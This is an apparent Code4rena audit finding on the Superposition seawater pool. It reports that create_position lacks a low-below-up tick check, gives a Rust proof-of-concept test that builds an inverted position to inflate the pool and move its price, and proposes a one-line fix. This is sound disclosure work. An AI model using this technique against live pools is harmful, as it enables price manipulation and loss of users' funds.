An attacker can create invalid positions to inflate a pool

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2024-08-superposition/blob/4528c9d2dbe1550d2660dac903a8246076044905/pkg/seawater/src/pool.rs#L75

Vulnerability details

Impact

It is possible to inflate a pool by creating a position with an invalid, inverted tick range. This can be abused to artificially change the pool price to the attacker's advantage.

Proof of Concept

It's possible to create a position that has a low tick higher than the low tick as there isn't a check to ensure so:

    pub fn create_position(&mut self, id: U256, low: i32, up: i32) -> Result<(), Revert> {
        assert_or!(self.enabled.get(), Error::PoolDisabled);
        let spacing = self.tick_spacing.get().sys() as i32;
        assert_or!(low % spacing == 0, Error::InvalidTickSpacing);
        assert_or!(up % spacing == 0, Error::InvalidTickSpacing);
        let spacing: u8 = spacing.try_into().map_err(|_| Error::InvalidTickSpacing)?;
        let min_tick = tick_math::get_min_tick(spacing);
        let max_tick = tick_math::get_max_tick(spacing);
        assert_or!(low >= min_tick && low <= max_tick, Error::InvalidTick);
        assert_or!(up >= min_tick && up <= max_tick, Error::InvalidTick);
->      // @audit no check for low < up, only boundaries are checked
        self.positions.new(id, low, up);
        Ok(())
    }

https://github.com/code-423n4/2024-08-superposition/blob/4528c9d2dbe1550d2660dac903a8246076044905/pkg/seawater/src/pool.rs#L75

An attacker can abuse this by creating positions that have inverted ticks, which doesn't make sense as it breaks the Uniswap math.

A potential scenario is that this could be abused to inflate the pool by only sending token0, as this branch will always be triggered regardless of the current tick.

    let (amount_0, amount_1) = if self.cur_tick.get().sys() < lower {
        #[cfg(feature = "testing-dbg")]
        dbg!((
            "update_position, cur_tick < lower path",
            lower,
            upper,
            tick_math::get_sqrt_ratio_at_tick(lower)?,
            tick_math::get_sqrt_ratio_at_tick(upper)?,
            self.sqrt_price.get(),
            delta
        ));

        // we're below the range, we need to move right, we'll need more token0
        (
            sqrt_price_math::get_amount_0_delta(
                tick_math::get_sqrt_ratio_at_tick(lower)?,
                tick_math::get_sqrt_ratio_at_tick(upper)?,
                delta,
            )?,
            I256::zero(),
        )
    }

https://github.com/code-423n4/2024-08-superposition/blob/4528c9d2dbe1550d2660dac903a8246076044905/pkg/seawater/src/pool.rs#L172-L193

As a result, this can be leveraged to influence the pool price to the attacker's advantage.

Run the following POC in pkg/seawater/tests/pools.rs:

    #[test]
    fn test_inverted_low_high() -> Result<(), Vec<u8>> {
        test_utils::with_storage::<_, StoragePool, _>(None, None, None, None, |storage| {
            storage.init(
                test_utils::encode_sqrt_price(100, 1), // price
                0,
                1,
                u128::MAX,
            )?;

            storage.enabled.set(true);

            let id = uint!(2_U256);
            //@audit create a position with correct ticks first
            storage
                .create_position(
                    id,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(50, 1))?,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(150, 1))?,
                )
                .unwrap();
            storage.update_position(id, 100)?;

            let id = uint!(3_U256);

            //@audit create a position with inverted ticks, up is lower than low tick
            storage
                .create_position(
                    id,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(150, 1))?,
                    tick_math::get_tick_at_sqrt_ratio(test_utils::encode_sqrt_price(80, 1))?,
                )
                .unwrap();
            
            //@audit always triggers the "cur_tick < lower path" branch. The attacker can inject token0 indefinitely even if the pool doesn't need it, making it unbalanced
            assert_eq!(
                storage.update_position(id, 100),
                Ok((I256::unchecked_from(4), I256::unchecked_from(0))) 
            );

            storage.swap(
                true,
                I256::unchecked_from(-10),
                test_utils::encode_sqrt_price(60, 1),
            )?;

            storage.swap(
                false,
                I256::unchecked_from(-10000),
                test_utils::encode_sqrt_price(120, 1),
            )?;

            Ok(())
        })
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Consider adding the following check:

    pub fn create_position(&mut self, id: U256, low: i32, up: i32) -> Result<(), Revert> {
        assert_or!(self.enabled.get(), Error::PoolDisabled);
        let spacing = self.tick_spacing.get().sys() as i32;
        assert_or!(low % spacing == 0, Error::InvalidTickSpacing);
        assert_or!(up % spacing == 0, Error::InvalidTickSpacing);
        let spacing: u8 = spacing.try_into().map_err(|_| Error::InvalidTickSpacing)?;
        let min_tick = tick_math::get_min_tick(spacing);
        let max_tick = tick_math::get_max_tick(spacing);
        assert_or!(low >= min_tick && low <= max_tick, Error::InvalidTick);
        assert_or!(up >= min_tick && up <= max_tick, Error::InvalidTick);
+       assert_or!(low < up, Error::InvalidTick);
        self.positions.new(id, low, up);
        Ok(())
    }

Assessed type

Invalid Validation

[af-afk]

fluidity-money/long.so@2145f4e